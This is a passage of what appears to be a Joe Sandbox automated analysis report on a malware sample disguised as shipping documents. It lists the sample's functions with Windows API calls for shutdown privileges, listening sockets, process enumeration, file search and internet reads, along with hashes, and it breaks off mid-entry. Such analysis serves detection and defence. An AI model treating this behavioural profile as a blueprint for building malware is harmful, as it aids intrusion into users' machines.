                                                APIs
                                                  • Part of subcall function 00D3B134: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00D3B180
                                                  • Part of subcall function 00D3B134: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00D3B1AD
                                                  • Part of subcall function 00D3B134: GetLastError.KERNEL32 ref: 00D3B1BA
                                                • ExitWindowsEx.USER32(?,00000000), ref: 00D47A0F
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
                                                • String ID: $@$SeShutdownPrivilege
                                                • API String ID: 2234035333-194228
                                                • Opcode ID: c193dc8a21b44548c985825b7f36de83e2e195a90623439eac272ba191b0c309
                                                • Instruction ID: 630b82f8c491e7fe5323315a2e58061f62827159c39df8e5c563726f776ba50d
                                                • Opcode Fuzzy Hash: c193dc8a21b44548c985825b7f36de83e2e195a90623439eac272ba191b0c309
                                                • Instruction Fuzzy Hash: D801A271768311ABF7286668DC5BBBF735CDB00740F280825F987E21D2EBA09E0082B5
                                                Function 00D58C4F Relevance: 9.1, APIs: 6, Instructions: 83networkCOMMON
                                                Download Yara Rule
                                                APIs
                                                • socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 00D58CA8
                                                • WSAGetLastError.WSOCK32(00000000), ref: 00D58CB7
                                                • bind.WSOCK32(00000000,?,00000010), ref: 00D58CD3
                                                • listen.WSOCK32(00000000,00000005), ref: 00D58CE2
                                                • WSAGetLastError.WSOCK32(00000000), ref: 00D58CFC
                                                • closesocket.WSOCK32(00000000,00000000), ref: 00D58D10
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ErrorLast$bindclosesocketlistensocket
                                                • String ID:
                                                • API String ID: 1279440585-0
                                                • Opcode ID: 578e7335fbd29bd009d13aec1e7fcd2749c2230e9133856ea7d492bbd0257da4
                                                • Instruction ID: 9d046a7beb9b8e658d0e77427602bb7a9c3c1aba585776b36ba5ae18c298e6cf
                                                • Opcode Fuzzy Hash: 578e7335fbd29bd009d13aec1e7fcd2749c2230e9133856ea7d492bbd0257da4
                                                • Instruction Fuzzy Hash: 0D218B31600200AFCB10AF68DD85B6EB7AAEF48721F148159ED56E73D2CB30AD459B71
                                                Function 00D46532 Relevance: 9.1, APIs: 6, Instructions: 71processCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,00000000), ref: 00D46554
                                                • Process32FirstW.KERNEL32(00000000,0000022C), ref: 00D46564
                                                • Process32NextW.KERNEL32(00000000,0000022C), ref: 00D46583
                                                • __wsplitpath.LIBCMT ref: 00D465A7
                                                • _wcscat.LIBCMT ref: 00D465BA
                                                • CloseHandle.KERNEL32(00000000,?,00000000), ref: 00D465F9
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wsplitpath_wcscat
                                                • String ID:
                                                • API String ID: 1605983538-0
                                                • Opcode ID: 25b58b766ade2e75fca3883db1a48b286298ac0730f36e927255df92d7f84a0f
                                                • Instruction ID: 52a921a4dcbf173310aecc2051f79be51f0adbdea5da229ec75818ecaa179578
                                                • Opcode Fuzzy Hash: 25b58b766ade2e75fca3883db1a48b286298ac0730f36e927255df92d7f84a0f
                                                • Instruction Fuzzy Hash: AB216271900218ABDB10ABA4DD88FEEBBBDAF49300F5004A5E545E7281EB71DF85CB71
                                                Function 00D5923B Relevance: 7.6, APIs: 5, Instructions: 146networkCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D5A82C: inet_addr.WSOCK32(00000000,00000000,?,?,?,00000000), ref: 00D5A84E
                                                • socket.WSOCK32(00000002,00000002,00000011,?,?,?,00000000), ref: 00D59296
                                                • WSAGetLastError.WSOCK32(00000000,00000000), ref: 00D592B9
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ErrorLastinet_addrsocket
                                                • String ID:
                                                • API String ID: 4170576061-0
                                                • Opcode ID: ae5c384c2a59cf7e3b562515b3a6913f669ebd9c6973b98191ac50b7650e5c75
                                                • Instruction ID: 4058612e0065281ab68c1ec2633ad812658c3636fe835c72b8d106a85dd354f8
                                                • Opcode Fuzzy Hash: ae5c384c2a59cf7e3b562515b3a6913f669ebd9c6973b98191ac50b7650e5c75
                                                • Instruction Fuzzy Hash: B941A070600204AFDB10AB68CC52F7EB7EEEF44724F148548FA56AB3D2DA749D418BB1
                                                Function 00D4EB60 Relevance: 7.6, APIs: 5, Instructions: 125fileCOMMON
                                                Download Yara Rule
                                                APIs
                                                • FindFirstFileW.KERNEL32(?,?), ref: 00D4EB8A
                                                • _wcscmp.LIBCMT ref: 00D4EBBA
                                                • _wcscmp.LIBCMT ref: 00D4EBCF
                                                • FindNextFileW.KERNEL32(00000000,?), ref: 00D4EBE0
                                                • FindClose.KERNEL32(00000000,00000001,00000000), ref: 00D4EC0E
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Find$File_wcscmp$CloseFirstNext
                                                • String ID:
                                                • API String ID: 2387731787-0
                                                • Opcode ID: ab08566006fa923700d48d27f7d6e0b4f1800c564bc0c2d9b2725c76e035a50c
                                                • Instruction ID: 7c493d9e1842c8e15eb39024f5a7ccec37ffe582c63e63fa3302ffcbfd32e7a7
                                                • Opcode Fuzzy Hash: ab08566006fa923700d48d27f7d6e0b4f1800c564bc0c2d9b2725c76e035a50c
                                                • Instruction Fuzzy Hash: AC419A35600702AFCB08DF28D491AAAB3E5FF49324F14455DE95ACB3A1DB31A984CBB1
                                                Function 00D68111 Relevance: 7.6, APIs: 5, Instructions: 69windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Window$EnabledForegroundIconicVisibleZoomed
                                                • String ID:
                                                • API String ID: 292994002-0
                                                • Opcode ID: fa984ea6fd036d9100a3d3413cd8a493fd6cc0275e2612b288ccc2f3db43e0ec
                                                • Instruction ID: 7e928190da6e6ace34ec30ea98f51e1240e7133d65a40c37c43344a2f92daec4
                                                • Opcode Fuzzy Hash: fa984ea6fd036d9100a3d3413cd8a493fd6cc0275e2612b288ccc2f3db43e0ec
                                                • Instruction Fuzzy Hash: 9711BF313017146FE7212F26DC44B6FBBAAEF56760B080529F84AD72C1DF38E94296B4
                                                Function 00D09B60 Relevance: 7.3, Strings: 5, Instructions: 1055COMMON
                                                Download Yara Rule
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID: ERCP$VUUU$VUUU$VUUU$VUUU
                                                • API String ID: 0-1546025612
                                                • Opcode ID: a99ae8b581a4e3386da548593d1fa15d0a1dc146fb10b33cf6417c0c6f98a083
                                                • Instruction ID: 7a84c20802f907772ad7fffc433b657fa36472c2196fa1a4a09a2e6bfe0ff339
                                                • Opcode Fuzzy Hash: a99ae8b581a4e3386da548593d1fa15d0a1dc146fb10b33cf6417c0c6f98a083
                                                • Instruction Fuzzy Hash: 3A927E71E0021ACBDF24DF68C8907ADB7B1FF54314F1881AAE85AAB281D7719D81CB75
                                                Function 00D1E01E Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                Download Yara Rule
                                                APIs
                                                • LoadLibraryA.KERNEL32(kernel32.dll,?,00D1E014,74DF0AE0,00D1DEF1,00D9DC38,?,?), ref: 00D1E02C
                                                • GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00D1E03E
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: AddressLibraryLoadProc
                                                • String ID: GetNativeSystemInfo$kernel32.dll
                                                • API String ID: 2574300362-192647395
                                                • Opcode ID: 0a46979dc8ba5e0a7612eec4d3cd19b6e89942a4b154a798e5fdc18cb70f8810
                                                • Instruction ID: a74453fb8da78fd1e6336aa4a8614a32d9254c797d488d50f3892c765ad94404
                                                • Opcode Fuzzy Hash: 0a46979dc8ba5e0a7612eec4d3cd19b6e89942a4b154a798e5fdc18cb70f8810
                                                • Instruction Fuzzy Hash: 1AD09E71510712AED7215F66E8096A277E5AF04711F184519E896D2290DAB4D8848770
                                                Function 00D413CA Relevance: 5.1, APIs: 1, Strings: 2, Instructions: 560stringCOMMON
                                                Download Yara Rule
                                                APIs
                                                • lstrlenW.KERNEL32(?,?,?,00000000), ref: 00D413DC
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: lstrlen
                                                • String ID: ($|
                                                • API String ID: 1659193697-1631851259
                                                • Opcode ID: c6b413bdca9f0505f29242098f96d0ca0c38f3f66cfd4786d6d8ccc2704bb548
                                                • Instruction ID: c34cff2c0cdda53b055686de03c253dd713e4b99179736efb971f679aa16561e
                                                • Opcode Fuzzy Hash: c6b413bdca9f0505f29242098f96d0ca0c38f3f66cfd4786d6d8ccc2704bb548
                                                • Instruction Fuzzy Hash: C5321679A007059FC728CF69C480AAAB7F0FF48310B55C56EE59ADB3A1E770E981CB54
                                                Function 00D1B11F Relevance: 4.9, APIs: 3, Instructions: 377COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D1B34E: GetWindowLongW.USER32(?,000000EB), ref: 00D1B35F
                                                • DefDlgProcW.USER32(?,?,?,?,?), ref: 00D1B22F
                                                  • Part of subcall function 00D1B55D: DefDlgProcW.USER32(?,00000020,?,00000000), ref: 00D1B5A5
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Proc$LongWindow
                                                • String ID:
                                                • API String ID: 2749884682-0
                                                • Opcode ID: a06695189cb41c9108d40c8132333e325ecfb4a3e2e4ad645620145b5b557ece
                                                • Instruction ID: 18ddeb680858b58c318560ce5ee408d99eb8038964b58df2f2b90f2b94396325
                                                • Opcode Fuzzy Hash: a06695189cb41c9108d40c8132333e325ecfb4a3e2e4ad645620145b5b557ece
                                                • Instruction Fuzzy Hash: 31A15B70114115BADB286B29BC89EFF2A5CEB4B364B18811BF485D6193EF34DC84D276
                                                Function 00D54EB5 Relevance: 4.7, APIs: 3, Instructions: 155networkfileCOMMON
                                                Download Yara Rule
                                                APIs
                                                • InternetQueryDataAvailable.WININET(?,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00D543BF,00000000), ref: 00D54FA6
                                                • InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 00D54FD2
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Internet$AvailableDataFileQueryRead
                                                • String ID:
                                                • API String ID: 599397726-0
                                                • Opcode ID: f616f7653faddf256725dcfc2951ea50aac6156f3bab8e2cba30d65487f9c865
                                                • Instruction ID: 3ec4821c14addb92b18ed1d36c2c9ada2d668226240df33f8c4a0ca1bd748906
                                                • Opcode Fuzzy Hash: f616f7653faddf256725dcfc2951ea50aac6156f3bab8e2cba30d65487f9c865
                                                • Instruction Fuzzy Hash: A141D871504605BFEF219E88DC85EBB77BCEF4072AF14402AFE05A6180DA719E899671
                                                Function 00D4E1FD Relevance: 4.6, APIs: 3, Instructions: 72COMMON
                                                Download Yara Rule
                                                APIs
                                                • SetErrorMode.KERNEL32(00000001), ref: 00D4E20D
                                                • GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 00D4E267
                                                • SetErrorMode.KERNEL32(00000000,00000001,00000000), ref: 00D4E2B4
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ErrorMode$DiskFreeSpace
                                                • String ID:
                                                • API String ID: 1682464887-0
                                                • Opcode ID: 90e8ea517353ecfc5bbefcad788d808c9cc8ef569c2c90f353f8fe8de8384b26
                                                • Instruction ID: eb5e272ab54817ba69db12e48defaff82ded680fc36fad6268dd28db90034736
                                                • Opcode Fuzzy Hash: 90e8ea517353ecfc5bbefcad788d808c9cc8ef569c2c90f353f8fe8de8384b26
                                                • Instruction Fuzzy Hash: E8215935A10218EFCB00EFA5D884AADBBB9FF48310F0484A9E945EB391DB31D915CB64
                                                Function 00D3B134 Relevance: 4.6, APIs: 3, Instructions: 67COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D1F4EA: std::exception::exception.LIBCMT ref: 00D1F51E
                                                  • Part of subcall function 00D1F4EA: __CxxThrowException@8.LIBCMT ref: 00D1F533
                                                • LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00D3B180
                                                • AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00D3B1AD
                                                • GetLastError.KERNEL32 ref: 00D3B1BA
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: AdjustErrorException@8LastLookupPrivilegePrivilegesThrowTokenValuestd::exception::exception
                                                • String ID:
                                                • API String ID: 1922334811-0
                                                • Opcode ID: d6817c248499c35309978fe6bea8ef97c86d7e12258acb7d0b9fa893d7e8a487
                                                • Instruction ID: a1df266a7901cee1eb405c08d720759042ae731e8e9bc888be2bca20fadcf5c5
                                                • Opcode Fuzzy Hash: d6817c248499c35309978fe6bea8ef97c86d7e12258acb7d0b9fa893d7e8a487
                                                • Instruction Fuzzy Hash: AD11BFB1410304AFE7189F54EC85D6BB7ADFB44720B20852EE05697281DB70FC418B70
                                                Function 00D46685 Relevance: 4.6, APIs: 3, Instructions: 61fileCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00D466AF
                                                • DeviceIoControl.KERNEL32(00000000,002D1400,?,0000000C,?,0000000C,?,00000000), ref: 00D466EC
                                                • CloseHandle.KERNEL32(00000000,?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00D466F5
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CloseControlCreateDeviceFileHandle
                                                • String ID:
                                                • API String ID: 33631002-0
                                                • Opcode ID: 017f7aabc16fe2f0dadd7cfdc9018348e1687fe151bf6bf4e8a71f79ed8bba74
                                                • Instruction ID: cc4906a7ef2425988197f0ed341a05dddc323d602dd396c773e0d977b86adfd2
                                                • Opcode Fuzzy Hash: 017f7aabc16fe2f0dadd7cfdc9018348e1687fe151bf6bf4e8a71f79ed8bba74
                                                • Instruction Fuzzy Hash: 501182B1910229BFE7109BA8DC45FAF77ACEB05714F004556F901E72D0C2749E0487B5
                                                Function 00D471FA Relevance: 4.5, APIs: 3, Instructions: 42memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00D47223
                                                • CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 00D4723A
                                                • FreeSid.ADVAPI32(?), ref: 00D4724A
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: AllocateCheckFreeInitializeMembershipToken
                                                • String ID:
                                                • API String ID: 3429775523-0
                                                • Opcode ID: e80bba8f851eeff74e7e66a1969cba2be04bbf830e5c3c570bf1714abc0346d6
                                                • Instruction ID: 1e418a5a1ad31a82b6aa1425b8dffe10b14e7a5031765c089ff625fb03adc5ce
                                                • Opcode Fuzzy Hash: e80bba8f851eeff74e7e66a1969cba2be04bbf830e5c3c570bf1714abc0346d6
                                                • Instruction Fuzzy Hash: 12F01275914309BFDF04DFE4DD8AAEEBBB9EF08205F504469A502E21D1E37056449B24
                                                Function 00D4F56F Relevance: 3.1, APIs: 2, Instructions: 52fileCOMMON
                                                Download Yara Rule
                                                APIs
                                                • FindFirstFileW.KERNEL32(?,?), ref: 00D4F599
                                                • FindClose.KERNEL32(00000000), ref: 00D4F5C9
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Find$CloseFileFirst
                                                • String ID:
                                                • API String ID: 2295610775-0
                                                • Opcode ID: 55fe281ebc83cf14e97b9eb3982bd5684fef30a1f3a2865e7bb0658b933a2e63
                                                • Instruction ID: 40ef397c7eeb9c775cee2c0d6c36aba5866d4c309903201b31483457066124e6
                                                • Opcode Fuzzy Hash: 55fe281ebc83cf14e97b9eb3982bd5684fef30a1f3a2865e7bb0658b933a2e63
                                                • Instruction Fuzzy Hash: DC11A1316102009FD700EF28D849A2EB3EAFF84324F04891EF9A9D73D1DB30A9008BA1
                                                Function 00D4CE7A Relevance: 3.0, APIs: 2, Instructions: 30windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetLastError.KERNEL32(00000000,?,00000FFF,00000000,00000016,?,00D5BE6A,?,?,00000000,?), ref: 00D4CEA7
                                                • FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,00000016,?,00D5BE6A,?,?,00000000,?), ref: 00D4CEB9
                                                Memory Dump Source
